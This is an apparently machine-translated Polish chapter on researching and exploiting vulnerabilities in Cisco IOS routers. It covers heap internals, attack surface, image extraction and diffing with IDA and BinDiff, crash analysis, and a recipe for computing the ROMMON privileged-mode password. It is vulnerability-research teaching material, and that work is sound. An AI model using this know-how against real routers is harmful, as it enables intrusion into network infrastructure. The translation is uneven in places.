Wykorzystanie Cisco IOS

Cisco Systems jest głównym dostawcą sprzętu do routingu i przełączania dla Internetu oraz wielu, jeśli nie większości, sieci korporacyjnych. Ponieważ sprzęt do routingu i przełączania się rozwija i staje się coraz bardziej złożony, zapewnia mnóstwo dodatkowych usług oprócz prostego przekazywania pakietów. Dodatkowa funkcjonalność wymaga jednak dodatkowego kodu - kodu, który się psuje i może zostać wykorzystany. W przeszłości tylko kilku badaczy bezpieczeństwa pracowało publicznie nad atakami na tę powszechnie używaną platformę. Jednym z powodów jest ogólna niedostępność drogiego sprzętu Cisco dla szerszego grona odbiorców. Innym czynnikiem może być to, że wspólne platformy systemów operacyjnych są znacznie łatwiejsze w obsłudze i wymagają mniej szczegółowej wiedzy, aby osiągnąć te same wyniki. Jednak wraz z pojawieniem się zaawansowanych mechanizmów ochrony zarówno w świecie Windows, jak i Linuksa, więcej badaczy może zwrócić się w stronę stosunkowo słabo chronionych platform, na których działa Internet.

Przegląd Cisco IOS

Cisco Systems sprzedaje mnóstwo różnych produktów. Na początku istnienia firmy większość tych produktów obsługiwała internetowy system operacyjny Cisco (IOS). W obecnej linii produktów Cisco Systems tylko sprzęt do routingu i przełączania nadal obsługuje system IOS. Pomimo tych zmian, ataki na systemy z systemem IOS są nadal bardzo interesujące ze względu na niezwykle dużą bazę instalacji oraz fakt, że routery i przełączniki prawie nigdy nie są aktualizowane do nowszych wersji IOS. Po co aktualizować router, skoro nigdy nie są one aktywnie wykorzystywane? Ponieważ system Cisco IOS ma swoje korzenie we wczesnych latach istnienia firmy, został zaprojektowany do działania na routerach o niewielkiej mocy obliczeniowej i małej ilości pamięci. Podstawowym zadaniem było dostarczenie oprogramowania, które będzie inicjalizować i zarządzać sprzętem oraz przekazywać pakiety tak szybko, jak to możliwe. W rezultacie Cisco IOS ma tylko ograniczone podobieństwa z najnowocześniejszymi wieloużytkownikowymi, wielozadaniowymi systemami operacyjnymi.

Platformy sprzętowe

Sprzęt do routingu i przełączania Cisco jest dostępny w różnych rozmiarach, od małych obudów biurkowych po duże systemy z serii 12000 zajmujące całą 19-calową szafę stelażową od góry do dołu. Poszczególne architektury sprzętowe znacznie się różnią. Podczas gdy konstrukcja sprzętowa mniejszych routerów jest porównywalna z platformami ogólnego przeznaczenia, takimi jak komputery PC, większe urządzenia zawierają coraz bardziej wyspecjalizowany sprzęt dedykowany, do którego można odciążyć zadanie przełączania pakietów z jednego interfejsu na drugi, aż do legendarnej struktury routeswitch. z serii 12000. Skutkuje to tym, że moc głównego procesora nie musi skalować się z obsługiwaną przepustowością całego routera. System operacyjny IOS jest zawsze wykonywany na głównym procesorze. Cisco wykorzystuje w swoim sprzęcie kilka architektur procesorów. W starszych routerach warstwy dostępowej, takich jak seria 2500, głównym procesorem był Motorola 68000. W routerach Enterprise i WAN z serii 7200, a także niektóre z najnowszych kart liniowych, zastosowano 64-bitowe procesory MIPS. Obecnie najpopularniejszym procesorem w sprzęcie Cisco jest 64-bitowy PowerPC, który jest używany w szeroko wdrożonych routerach serii 1700 i 2600, które sprzedały się ponad dwa miliony razy przed końcem sprzedaży w kwietniu 2003 roku. pracujesz nad atakiem na router Cisco, ważne jest, aby zrozumieć, czy atakujesz oprogramowanie działające na głównym procesorze, czy coś, co jest odciążone na specjalistycznym sprzęcie lub na dodatkowej karcie liniowej. Luka wywołana przez określony wzorzec ruchu może równie dobrze spowodować awarię specjalistycznego sprzętu przyspieszającego, a nie, jak oczekiwano, głównego systemu operacyjnego.

Pakiety oprogramowania

System IOS jest wdrażany jako monolityczny obraz systemu. Firma Cisco zaczęła ogłaszać modułowe wersje IOS i wdrażać je w terenie, ale większość z nich nadal ma monolityczny format obrazu. W kwietniu 2007 r., serwer FTP Cisco oferował 18 257 różnych kompilacji IOS. Jest to ważny fakt, o którym należy pamiętać podczas pracy nad exploitami, ponieważ każda kompilacja ma inne adresy pamięci, funkcje i generacje kodu. Nigdy nie będzie jednego uniwersalnego adresu zwrotnego, jaki istnieje w systemach Windows 2000 i XP. Niektóre kompilacje IOS są powszechnie używane niż inne. Wersje IOS są oddzielone ciągiem wydań z różnymi funkcjami i docelowymi grupami klientów. Litera następująca po numerze wersji systemu IOS oznacza serię. Najważniejsze z nich to:

* Seria linii głównej nie ma specjalnego listu i jest wysyłany domyślnie. Jest to najbardziej stabilna wersja IOS i ogólnie najczęściej używana.

* Seria „Technologia" zawiera nowe funkcje, które nie są wystarczająco dojrzałe dla linii głównej i jest oznaczony literą T.

* Seria „Dostawca usług" jest skierowany do dostawców usług internetowych i jest oznaczony literą S.

* Seria „Enterprise" jest przeciwieństwem pociągu dostawcy usług i jest używany głównie w routerach szkieletowych dla przedsiębiorstw. Jest oznaczony literą E.

Oprócz wersji i serii, badacza interesuje również, na jakiej platformie dany obraz będzie działał i jakie funkcje zapewni. Niestety możliwe kombinacje są wielorakie. Oryginalna nazwa pliku obrazu pobranego z Cisco zawiera platformę, kody funkcji, główny numer wersji IOS, podrzędny numer, numer wydania i identyfikator pociągu. Na przykład obraz c7200-is-mz-124-8a.bin zawiera IOS 12.4, wydanie 8a, dla Cisco 7200 obsługuje tylko routing IP ("is" normalnie oznaczałoby zestaw funkcji IP-Plus, ale niestety nie jest wyjątkiem dla 7200), jest skompresowanym obrazem i jest wykonywany z pamięci RAM. Jak widać z poprzedniej dyskusji, istnieje wiele różnych obrazów systemu IOS, różniących się wersją, platformą i zainstalowanymi funkcjami. To sprawia, że wykorzystanie IOS jest trudnym obszarem do pracy, ponieważ znacznie trudniej jest znaleźć wspólne właściwości we wszystkich różnych wersjach niż w środowisku Windows lub Unix opartym na pojedynczej dystrybucji binarnej. W przyszłości zmieni się to przynajmniej częściowo wraz z szerszym wdrożeniem IOS XR, systemu operacyjnego nowej generacji dla routerów Cisco. XR używa QNX pod maską i dlatego ma zupełnie inne właściwości niż to, co jest dostępne dzisiaj. Ale na razie starsze obrazy IOS będą dominować przez jakiś czas.

Architektura systemu IOS

IOS firmy Cisco to dość prosta architektura. System operacyjny składa się z jądra, kodu sterownika urządzenia i procesów. Specjalistyczne oprogramowanie do szybkiego przełączania jest częścią sterowników urządzeń. Kiedy pracujesz nad exploitami IOS, warto wyobrazić sobie cały system jako pojedynczy program MS-DOS EXE udający system operacyjny. System IOS korzysta z harmonogramu „run-to-end", który w przeciwieństwie do większości innych systemów operacyjnych nie wywłaszcza procesów w trakcie ich wykonywania, ale w rzeczywistości czeka na zakończenie procesu z zestawem zadań i dobrowolnie zwraca wykonanie z powrotem do jądro.

Układ pamięci

System IOS nie korzysta z żadnych wewnętrznych mechanizmów ochrony. Sekcje pamięci z jednego procesu nie są w żaden sposób chronione przed dostępem innego procesu, a system IOS intensywnie wykorzystuje pamięć współdzieloną oraz zmienne globalne i flagi dostępne z dowolnego procesu. Pamięć jest podzielona na tak zwane regiony, jak opisano w tabeli

NAZWA REGIONU : SPIS TREŚCI

IText: wykonywalny kod IOS

IData : Zainicjowane zmienne

Lokalne : Struktury danych środowiska wykonawczego i lokalne stosy

IBss: niezainicjowane dane

Flash : przechowuje obraz (może być stamtąd uruchamiany) i konfigurację startową

PCI : pamięć PCI widoczna na magistrali PCI

IOMEM : Pamięć współdzielona widoczna dla głównego procesora i kontrolerów interfejsu sieciowego

Wszystkie procesy współdzielą dostęp do tych regionów pamięci, co uniemożliwia ochronę zapisów między procesami, ale wiąże się ze znacznie mniejszym obciążeniem niż tradycyjna separacja w innych systemach operacyjnych.

Sterta iOS

Każdy proces ma swój własny stos, który jest po prostu przydzielonym blokiem sterty. Przestrzeń pamięci dla zmiennych zainicjowanych i niezainicjowanych jest znana w czasie kompilacji i odpowiednio rezerwowana w odpowiednim regionie. Sterta jest dzielona między wszystkie procesy. Gdy proces alokuje pamięć sterty w systemie IOS, pamięć jest wycinana ze sterty globalnej. W związku z tym bloki pamięci z różnych procesów następują po sobie. Jest to widoczne podczas sprawdzania alokacji pamięci na routerze. Poniżej znajduje się przycięte dane wyjściowe polecenia show memory:

Address Bytes Prev Next Alloc PC what

81FBC680 0000222312 00000000 81FF2B10 8082B394 (coalesced)

81FF2B10 0000020004 81FBC680 81FF795C 8001BC58 Managed Chunk Queue Elements

81FF795C 0000001504 81FF2B10 81FF7F64 80FFEFF8 List Elements

81FF7F64 0000005004 81FF795C 81FF9318 80FFF038 List Headers

81FF9318 0000000048 81FF7F64 81FF9370 811360CC *Init*

81FF9370 0000001504 81FF9318 81FF9978 81009408 messages

81FF9978 0000001504 81FF9370 81FF9F80 81009434 Watched messages

81FF9F80 0000005916 81FF997881FFB6C4 81009488 Watched Boolean

81FFB6C4 0000000096 81FF9F80 81FFB74C 80907358 SCTP Main Process

81FFB74C 0000004316 81FFB6C4 81FFC850 8080B88C TTY data

81FFC850 0000002004 81FFB74C 81FFD04C 8080EFF4 TTY Input Buf

Widać, że bloki pamięci dla zupełnie różnych zadań następują po sobie. Cała sterta IOS to jedna wielka podwójnie połączona lista. Nagłówek elementu listy jest zdefiniowany w następujący sposób:

struct HeapBlock {

DWORD Magic; // 0xAB1234CD

DWORD PID; // Process ID of the owner

DWORD AllocCheck; // Space for canaries

DWORD AllocName; // Pointer to string with the name

// of the allocating process

DWORD AllocPC; // Instruction Pointer at the time the

// process allocated this block

void *NextBlock; // Pointer to the following block

void *PrevBlock; // Pointer to the previous block's NextBlock

DWORD BlockSize; // Size and usage information

DWORD RefCnt; // Reference counter to this block

DWORD LastFree; // PC when the last process freed this block

};

Dodatkowo każdy blok ma tak zwaną czerwoną strefę kończącą się po faktycznym ładunku. Czerwona strefa to statyczna „magiczna liczba" o wartości 0xFD0110DF i jest używana przez proces sprawdzania integralności sterty w celu sprawdzenia, czy nie wystąpiło przepełnienie. Nieprzydzielone bloki pamięci dodatkowo zawierają informacje dotyczące zarządzania, które umieszczają je na innej połączonej liście wolnych bloków. Ten sam blok jest wtedy częścią dwóch połączonych list: globalnej sterty i listy wolnych bloków. Jeśli najbardziej znaczący bit pola BlockSize wynosi zero, ten blok jest częścią listy wolnych bloków, a struktura FreeHeapBlock następuje po nagłówku bloku:

struct FreeHeapBlock {

DWORD Magic; // 0xDEADBEEF

DWORD unknown1;

DWORD unknown2;

DWORD unknown3;

void *NextFree; // Pointer to the following free block

void *PrevFree; // Pointer to the previous free block

};

Oczywiście taka struktura sterty wielu połączonych list może łatwo się zepsuć. Uszkodzenie sterty jest zdecydowanie najczęstszą przyczyną awarii routera Cisco. Aby zapobiec spustoszeniu systemu IOS z powodu uszkodzonej sterty, proces o nazwie Check Heaps regularnie przegląda listy stert i weryfikuje ich integralność. Wykonuje z grubsza następujące kontrole:

* Sprawdza, czy nagłówek bloku zawiera magiczną wartość

* Jeśli blok jest używany, sprawdza, czy czerwona strefa zawiera 0xFD0110DF

* Sprawdza, czy wskaźnik PrevBlock nie ma wartości NULL

* Sprawdza, czy wskaźnik NastępnyBlock wskaźnika PrevBlock wskazuje na ten blok

* Jeśli wskaźnik NextBlock nie ma wartości NULL, sprawdza, czy wskazuje dokładnie za czerwonym polem strefy tego bloku

* Jeśli wskaźnik NextBlock nie ma wartości NULL, sprawdza, czy blok, na który wskazuje, ma wskaźnik PrevBlock z powrotem do tego bloku

* Jeśli wskaźnik NextBlock ma wartość NULL (ostatni blok w łańcuchu), sprawdza, czy kończy się na granicy pamięci

Oprócz zwykłych sprawdzeń, te sprawdzenia są również wykonywane, gdy proces alokuje lub zwalnia blok sterty. Żadna z tych kontroli nie została wprowadzona dla bezpieczeństwa obrazów, ale dla pozornej stabilności routera. Cisco woli całkowicie zrestartować komputer, jeśli coś jest uszkodzone, więc router wróci do trybu online i będzie działał w ciągu kilku minut – lub nawet sekund – i może nawet nie zostać zauważony, że został ponownie uruchomiony. Kontrole te w oczywisty sposób utrudniają również eksploatację.

Pamięć we/wy

IOS ma jeszcze jedną specjalizację, jeśli chodzi o wykorzystanie sterty: obszar pamięci zwany IO Memory. Region ten jest najważniejszy w tak zwanych routerach pamięci współdzielonej, które są nazwane w ten sposób, ponieważ główny procesor współdzieli regiony pamięci z kontrolerami mediów i wszystkimi innymi częściami systemu. Pamięć we/wy jest wycinana z dostępnej pamięci fizycznej, zanim główna sterta zostanie przydzielona i zawiera pule buforów, które są albo do ogólnego użytku przez kod routingu, albo są prywatne dla interfejsu. Te pule buforów są w większości buforami pierścieniowymi i chociaż mają strukturę podobną do sterty, reagują w zupełnie inny sposób na ataki uszkadzania pamięci. Struktury bufora pierścieniowego są przydzielane w czasie uruchamiania. Ponieważ algorytmy określające ich rozmiar są oparte na wartościach, takich jak typ interfejsu i MTU, IOS zwykle nie ma potrzeby reorganizacji buforu w czasie wykonywania. Dlatego nadpisywanie informacji nagłówka w pamięci we/wy jest znacznie mniej przydatne, ponieważ informacje te prawie na pewno nie zostaną wykorzystane, a pierwszym, który zauważy uszkodzenie, będzie proces sprawdzania stert podczas jego weryfikacji.

Luki w Cisco IOS

System operacyjny routera oferuje inną powierzchnię ataku niż system operacyjny ogólnego przeznaczenia podłączony do sieci. Istnieją dwa ogólne przypadki, w których dane dostarczone przez atakującego są przetwarzane przez router sieciowy: albo router przekazuje ruch z jednego interfejsu do drugiego, albo router jest ostatecznym miejscem docelowym ruchu, znanym również jako dostarczanie usługi. Ogólnie rzecz biorąc, routery dowolnego dostawcy starają się zminimalizować przetwarzanie wymagane do przekazywania ruchu. Każda dodatkowa inspekcja pojedynczego bitu danych pakietu zmniejszyłaby wydajność przesyłania i dlatego nie jest pożądane. Dlatego luki w przetwarzaniu ruchu tranzytowego są rzadkie. Głównym wyjątkiem od tej reguły jest oczywiście inspekcja ruchu pod kątem filtrowania bezpieczeństwa. Z drugiej strony usługi świadczone przez router zapewniają pewną powierzchnię ataku. Najczęstszą rzeczą, która psuje się w systemie IOS, jest kod parsowania pakietów. Główną przyczyną jest to, że poszczególnym programistom w systemie IOS udostępniane są tylko minimalne funkcje analizowania pakietów. Nie wiadomo i nie jest jasne, dlaczego tak się dzieje. Możemy tylko założyć, że powtarzające się wywołania funkcji są uważane za zbyt drogie dla prostego kodu parsowania pakietów. Dlatego większość implementacji serwerów w systemie Cisco IOS używa wskaźników do pakietów i analizuje je ręcznie. Oczywiście ta strategia,

zapewniając wysoką wydajność, prawdopodobnie zwiększa prawdopodobieństwo wystąpienia luk w kodzie analizującym. Powtarzające się pojawianie się luk parsowania w kodzie obsługującym IP w wersji 4 jest najbardziej oczywistym dowodem.

Kod parsowania protokołu

Ponieważ IOS obsługuje, w zależności od kompilacji obrazu, wiele protokołów, procedury ich obsługi są najbardziej oczywistym punktem ataku na router. Doświadczenie pokazuje, że są one również najbardziej obiecujące. Routery Cisco obsługują szeroką gamę protokołów ezoterycznych, z których niektóre są dość skomplikowane do przeanalizowania. Można przypuszczać, że nadal kryje się w nich wiele luk.

Usługi na routerze

Na wyższym poziomie obszarem zainteresowania jest realizacja rzeczywistych usług. Niedostępność takich pojęć, jak wielowątkowość i rozwidlenie procesów, wymaga od programistów IOS przechodzenia przez wiele równoległych żądań usług. W związku z tym wszystko, co ma złożone stany, może zachowywać się dziwnie w systemie IOS, gdy jest poddawane stresowi lub celowo otrzymuje sprzeczne informacje. Nie dotyczy to jednak samych protokołów routingu. Dystrybucja i obsługa informacji o routingu to podstawowa działalność firmy Cisco, a kod, w tym maszyny stanowe, wydaje się być dość stabilny w systemie IOS.

Funkcjonalność związana z bezpieczeństwem

Jak w przypadku każdej innej technologii bezpieczeństwa sieci, dodatkowe mechanizmy filtrowania i obrony również otwierają nowe możliwości ataku w systemie IOS. Im więcej potencjalnie złośliwych danych musi zostać skontrolowanych przez oprogramowanie, tym bardziej prawdopodobne są luki w zabezpieczeniach. Z każdą nową usługą filtrowania lub kryptograficzną wprowadzaną przez Cisco, należy dodać dodatkowy kod parsujący dla złożonych protokołów, a to wprowadza dodatkową powierzchnię ataku. Głównymi celami w najbliższej przyszłości mogą być funkcje wykrywania włamań, filtry treści i przekierowania, a także zakończenie tunelu kryptograficznego na poziomie routera. IOS również cierpi z powodu błędów logicznych w przetwarzaniu ruchu. Błędy te zwykle odpowiadają albo kodowi filtrowania ruchu, co powoduje, że reguły filtrowania IP nie są stosowane lub są stosowane nieprawidłowo, ale mogą również dotyczyć innych obszarów przekazywania pakietów. Błędy te nie muszą być wykorzystywane w typowy sposób wykonywania kodu, ale można je nadużywać, tworząc odpowiednie pakiety. Są interesujące, ponieważ router przesyłający pakiety w inny sposób, niż sądził operator, może łatwo doprowadzić do bezpośredniego dostępu do systemów, które zostały uznane za nieosiągalne dla atakującego. Ten rodzaj błędu zwykle pojawia się w większych klasach routerów. Powodem tego jest to, że głównym celem projektowym w firmie Cisco jest przeniesienie jak największej ilości przetwarzania pakietów na sprzęt. Z drugiej strony kod zapory działa tylko na głównym procesorze. Dlatego router musi decydować, kiedy ruch ma być kontrolowany przez główny procesor, chociaż może on być przekazywany tylko sprzętowo. Decyzje te nie są łatwe do wdrożenia, gdy wydajność jest Twoim głównym celem. W przeszłości pokazało to wiele luk w regułach filtrowania połączonych i niepołączonych przez protokół TCP. Za każdym razem, gdy Cisco wypuszcza nową kartę akceleracji sprzętowej, warto sprawdzić tę funkcję zapory ogniowej wyższego poziomu.

Interfejs wiersza poleceń

Mniej dostępnym obszarem funkcjonalności jest interfejs wiersza poleceń Cisco. Interfejs wiersza poleceń rozróżnia 15 różnych poziomów uprawnień. Poziom użytkownika pozwala na bardzo małą interakcję, a tak zwany tryb aktywacji (poziom 15) daje pełny dostęp do routera. Scenariusze, w których

wielu użytkowników ma dostęp do mniej uprzywilejowanych trybów, są rzadkie, ponieważ większość administratorów sieci nie pozwala nikomu logować się do swoich routerów. Istnieją jednak sytuacje, takie jak narzędzia monitorujące, podczas których atakujący może uzyskać dostęp na poziomie użytkownika, ale chce włączyć tryb. W takich przypadkach przydatne mogą być luki w analizie i obsłudze danych wejściowych wiersza polecenia. Zdarzały się takie przypadki w przeszłości, na przykład problemy z ciągiem formatu, chociaż nie można ich bezpośrednio wykorzystać ze względu na brak specyfikatora formatu %n.

Inżynieria odwrotna IOS

Obrazy IOS inżynierii wstecznej nie są wymagane do znalezienia nowych luk w zabezpieczeniach; fuzzing poradzi sobie równie dobrze. Niestety, po znalezieniu luki należy zrozumieć kontekst kodu, układ pamięci w momencie wyzwolenia luki i co dzieje się później. Dlatego trzeba umieć czytać kod. Uzyskanie obrazów od Cisco wymaga konta CCO, które zwykle jest ograniczone do specjalnych partnerów. Jeśli takie konto nie jest dostępne, IOS oferuje również możliwość skopiowania aktualnie używanego obrazu z routera na serwer TFTP. Odpowiednie polecenie wygląda następująco:

radio#copy flash tftp

PCMCIA flash directory:

File Length Name/status

1 3494896 c1600-y-l.112-26.P4.bin

[3494960 bytes used, 699344 available, 4194304 total]

Address or name of remote host [255.255.255.255]? 192.168.2.5

Source file name? c1600-y-l.112-26.P4.bin

Destination file name [c1600-y-l.112-26.P4.bin]?

Verifying checksum for ‘c1600-y-l.112-26.P4.bin’ (file # 1)... OK

Copy ‘c1600-y-l.112-26.P4.bin’ from Flash to server

as ‘c1600-y-l.112-26.P4.bin’? [yes/no]yes

!!...

Oprócz obrazu, badacz bezpieczeństwa potrzebuje wysokowydajnej stacji roboczej (obrazy nie są małe), kopii deasemblera IDA Pro oraz znajomości i dokumentacji odpowiedniej architektury procesora.

Rozbieranie obrazów

Obrazy IOS są dostarczane z rozszerzeniem .bin. Prawie wszystkie obrazy są skompresowane i zostaną zdekompresowane po uruchomieniu. Dlatego obraz zaczyna się od sekcji kodu binarnego z preambułą, która zawiera dekompresor. Starsze obrazy (takie jak IOS 11.0) dla mniejszych routerów zaczynałyby się bezpośrednio od kodu. Obecnie obrazy IOS mają postać plików binarnych ELF. Oba typy zawierają na początku kod dekompresora. Przed załadowaniem obrazu IOS do IDA należy wyciąć kod preambuły, aby uzyskać rzeczywisty skompresowany obraz. Najprostszym sposobem na to jest wyszukanie magicznej wartości biblioteki kompresji ZIP 0x50 0x4B 0x03 0x04 i usunięcie wszystkiego przed tą pozycją. Wynikowy plik należy zapisać z rozszerzeniem .ZIP i zdekompresować dowolnym programem do rozpakowywania. W zależności od funkcjonalności dostarczonej przez obraz, jeden lub więcej

plików może znajdować się w archiwum ZIP. Jednak w przypadku typowego scenariusza z routerem zostanie znaleziony tylko jeden plik. Po uzyskaniu rzeczywistego obrazu można go załadować do IDA Pro. Na kilku architekturach IDA nie generuje odpowiednich odniesień. Jeśli ciągi identyfikowane przez IDA nie są odsyłacze do lokalizacji kodu, można użyć skryptu IDAPython, aby umieścić je na swoim miejscu.

OSTRZEŻENIE Obraz obsługujący tylko podstawowy routing IP dla routera 2600 z łatwością zajmie ponad 24 godziny na wstępną analizę; Zdjęcia 12,4 tylko IP dla 7200 zostały zrobione przez ponad dwa dni na maszynie 3 GHz.

Różnicowanie obrazów IOS

Jedną z interesujących rzeczy związanych z obrazami IOS jest znalezienie ich różnic. Gdy firma Cisco wydaje nową wersję, istnieje duże prawdopodobieństwo, że potencjalnie możliwe do wykorzystania warunki zostały naprawione w nowej wersji. Typowe rzeczy, które można znaleźć podczas wykonywania różnic binarnych między dwoma kolejnymi wydaniami IOS, obejmują inicjalizację zmiennych, które były używane wcześniej niezainicjowane, dodatkowe sprawdzanie poprawności pakietów lub wprowadzanie lub usuwanie całych funkcji w przetwarzaniu pakietów. Aby wygenerować różnicę między dwoma obrazami binarnymi, należy użyć BinDiff SABRE Security. Zasadniczo generuje odciski palców wszystkich funkcji w dwóch plikach binarnych i dopasowuje te funkcje, które mają ten sam odcisk palca. Jeśli funkcje różnią się, ale można je zidentyfikować jako takie same ze względu na ich sąsiadów w obu plikach binarnych, wykrywana jest modyfikacja. Ponieważ BinDiff działa na zasadzie perfunction, bazy danych IDA dla obu obrazów muszą być odpowiednio ustrukturyzowane. IDA zwykle nie identyfikuje wszystkich funkcji jako takich i pozostawia dużą liczbę bloków kodu nieprzypisanych do żadnej funkcji. Ale Cisco najwyraźniej buduje swój kod przy użyciu łańcucha narzędzi GNU, tak że w prawie wszystkich przypadkach następna funkcja zaczyna się dokładnie tam, gdzie zakończyła się ostatnia. Aby przekonwertować wszystkie niefunkcyjne bloki kodu na funkcje, można użyć następującego (surowego) skryptu IDAPython:

```
running = 1

address = get_screen_ea()

seaddress = SegEnd( address )

while ( running == 1 ):

naddress = find_not_func( address, SEARCH_DOWN )

if ( BADADDR != naddress ):

MakeFunction( naddress, BADADDR )

address = naddress;

if ( get_item_size( address ) == 0):

running = 0

address = address + get_item_size( address )

if ( address == BADADDR):

running = 0

if ( address >= seaddress ):
```

running = 0

Ponownie, czas wykonywania poprzedniego skryptu może być znaczący. Gdy oba obrazy zostaną w ten sposób zmasowane, można rozpocząć właściwy proces porównywania, co ponownie daje badaczowi mnóstwo czasu na zrobienie czegoś innego. Po zakończeniu porównania BinDiff przedstawi listę zmienionych funkcji, które zidentyfikował. Kliknięcie prawym przyciskiem odpowiedniego wpisu i wybranie „różnicy wizualnej" umożliwi porównanie obu funkcji jako wykresów przepływu ze zmienionymi blokami i pokolorowanymi sekwencjami instrukcji. Należy zauważyć, że przynajmniej jedna z dwóch baz danych IDA używanych do porównania powinna już mieć opisowe nazwy ważnych funkcji, zwłaszcza tych, które dotyczą awarii routera, logowania i debugowania. Upraszcza to zadanie identyfikowania zmian, które mogą być cichymi poprawkami dla błędów związanych z bezpieczeństwem, ponieważ często wiążą się z nowymi lub zmienionymi ciągami wyjściowymi debugowania.

Analiza czasu wykonywania

Po zidentyfikowaniu nowej luki w zabezpieczeniach i możliwości powtarzalnej awarii routera badacz musi określić dokładny typ błędu, miejsce jego wystąpienia i co można z nim zrobić. Wykonywanie tego procesu identyfikacji bez narzędzi do analizy środowiska wykonawczego jest kłopotliwe i nie jest zalecane, ponieważ sprowadza się do długiego procesu prób i błędów wysyłania pakietów i próby ustalenia, co dzieje się w ciemności.

Narzędzia wbudowane Cisco

Routery Cisco zapewniają podstawowe narzędzia do debugowania sytuacji awaryjnych. Istnieją dwa poziomy: zrzuty awaryjne generowane przez sam IOS oraz funkcjonalność ROMMON.

Monitor ROM

ROMMON jest dla routera Cisco tym, czym EFI BIOS dla nowoczesnego komputera stacjonarnego. Jest to kod minimalnego programu ładującego, który z kolei ładuje minimalną implementację IOS, zanim rzeczywisty obraz główny zostanie zdekompresowany i uruchomiony. Funkcjonalność ROMMON różni się znacznie w różnych seriach routerów. Starsze i mniejsze routery mają podstawowy interfejs, który pozwala ustawić tylko kilka parametrów rozruchu. Nowoczesne routery umożliwiają aktualizację kodu ROMMON i zapewniają znacznie bogatszy zestaw funkcji. ROMMON może być używany tylko przez kabel konsoli szeregowej, ponieważ podstawowy kod sieciowy jest dostępny tylko tutaj. Podczas uruchamiania routera użytkownik musi nacisnąć klawisze CTRL+Break, aby przerwać zwykły proces uruchamiania, co spowoduje przejście do ROMMON.

System Bootstrap, Version 11.1(7)AX [kuong (7)AX], EARLY DEPLOYMENT

RELEASE SOFTWARE (fc2)

Copyright (c) 1994-1996 by cisco Systems, Inc.

Simm with parity detected, ignoring onboard DRAM

C1600 processor with 16384 Kbytes of main memory

monitor: command "boot" aborted due to user interrupt

rommon 1 >

Podczas uruchamiania głównego obrazu z ROMMON (polecenie rozruchu), router pamięta to i reaguje inaczej, gdy główny obraz ulegnie awarii. W normalnym przypadku obraz główny wyświetli informacje

o awarii i zrestartuje komputer. Po uruchomieniu z ROMMON router powraca tam po awarii, co pozwala badaczowi na sprawdzenie lokalizacji pamięci i zawartości rejestrów procesora oraz wykonanie pewnej analizy ogólnego stanu rzeczy:

*** BUS ERROR ***

access address = 0x58585858

program counter = 0x400a1fe

status register = 0x2400

vbr at time of exception = 0x4000000

special status word = 0x2055

faulted cycle was a word read

monitor: command “boot” aborted due to exception

rommon 3 > context

CPU Context:

d0 - 0x00000000 a0 - 0x0400618e

d1 - 0x0200f6e4 a1 - 0x0202b1d8

d2 - 0x00000002 a2 - 0xf4000000

d3 - 0x04005bf2 a3 - 0x0207f534

d4 - 0x020700d6 a4 - 0x0207f4f0

d5 - 0xf4000000 a5 - 0x0207beac

d6 - 0x000000d6 a6 - 0x0207f4ac

d7 - 0x00000000 a7 - 0x0207f488

pc - 0x0400a200 vbr - 0x04000000

sr - 0x2400

rommon 4 > sysret

System Return Info:

count: 19, reason: bus error

pc:0x400a200, error address: 0xf4000000

Stack Trace:

FP: 0x0207f4ac, PC: 0x0400b3e8

FP: 0x0207f4bc, PC: 0x04005e3a

FP: 0x0207f4e8, PC: 0x04000414

FP: 0x00000000, PC: 0x00000000

FP: 0x00000000, PC: 0x00000000

FP: 0x00000000, PC: 0x00000000

FP: 0x00000000, PC: 0x00000000

FP: 0x00000000, PC: 0x00000000

W ROMMON można przejść do trybu uprzywilejowanego. Umożliwia to odczytywanie i zapisywanie zawartości pamięci, włączanie lub wyłączanie arbitralnych zabezpieczeń przed zapisem w pamięci NVRAM, a co najważniejsze, przeskakiwanie do dowolnej lokalizacji pamięci i ustawianie punktów przerwania. Pozwala to na znacznie łatwiejsze opracowywanie dowodu koncepcji niż metoda prób i błędów polegająca na wielokrotnym wywoływaniu luki i uwalnia badacza od konieczności przechowywania nieujawnionej luki w systemie IOS do testowania — co musi być dobre z punktu widzenia asekuracyjny. Tryb uprzywilejowany programu ROMMON wymaga hasła zależnego od komputera. Najpierw plik cookie maszyny musi zostać zebrany za pomocą odpowiedniego polecenia w ROMMON:

rommon 1 > cookie

cookie:

01 01 00 60 48 4f 5e 73 09 00 00 00 00 07 00 00

05 71 49 52 00 00 00 00 00 00 00 00 00 00 00 00

This cookie information must be used to calculate the privileged mode password. To obtain the password, consider the numbers printed to be 16-bit hex values and add the first five of them together:

0101

+ 0060

+ 484f

+ 5e73

+ 0900

= b123

W zależności od platformy, endianess należy zamienić ponieważ twórcy ROMMON na różnych maszynach najwyraźniej nie wzięli pod uwagę tego faktu. Upewnij się, że litery w liczbie szesnastkowej są wpisane małymi literami. Jeśli obliczona wartość jest dłuższa niż cztery cyfry szesnastkowe, odetnij dodatkowe cyfry z lewej strony (liczniejsze cyfry). Po obliczeniu hasła można wejść w tryb uprzywilejowany:

rommon 2 > priv

Password:

Masz teraz dostęp do pełnego zestawu poleceń monitora. Ostrzeżenie: niektóre polecenia pozwalają zniszczyć konfigurację i/lub obrazy systemu i mogą uniemożliwić rozruch komputera.

Ostrzeżenie wyświetlane w poprzednim kodzie jest jedyną wskazówką, że obliczone hasło rzeczywiście zadziałało i należy je traktować poważnie. W przypadku wprowadzenia błędnego hasła nic się nie dzieje

i wyświetlany jest normalny monit ROMMON. W trybie uprzywilejowanym pomoc polecenia pokazuje wszystkie nowo uzyskane uprawnienia.

Zrzuty awaryjne

Kolejną bardzo pomocną funkcją jest generowanie zrzutów awaryjnych. Ta funkcja również ewoluowała z biegiem czasu, więc informacje będą znacznie bardziej przydatne w późniejszych wersjach IOS. Obecnie system IOS obsługuje zapisywanie informacji o awariach w systemie plików flash w komputerze lub na karcie pamięci. Obsługuje również zapisywanie pliku awarii zrzutu pamięci do zdalnej lokalizacji za pośrednictwem protokołu TFTP. Obie funkcje wygenerują to, co obecnie badana wersja IOS oferuje jako informacje zrzutu. Aby skonfigurować zrzuty pamięci awaryjnej, należy dostosować konfigurację routera:

radio#conf t

Enter configuration commands, one per line. End with CNTL/Z.

radio(config)#exception core-file radio-core

radio(config)#exception dump 192.168.2.5

radio(config)#^Z

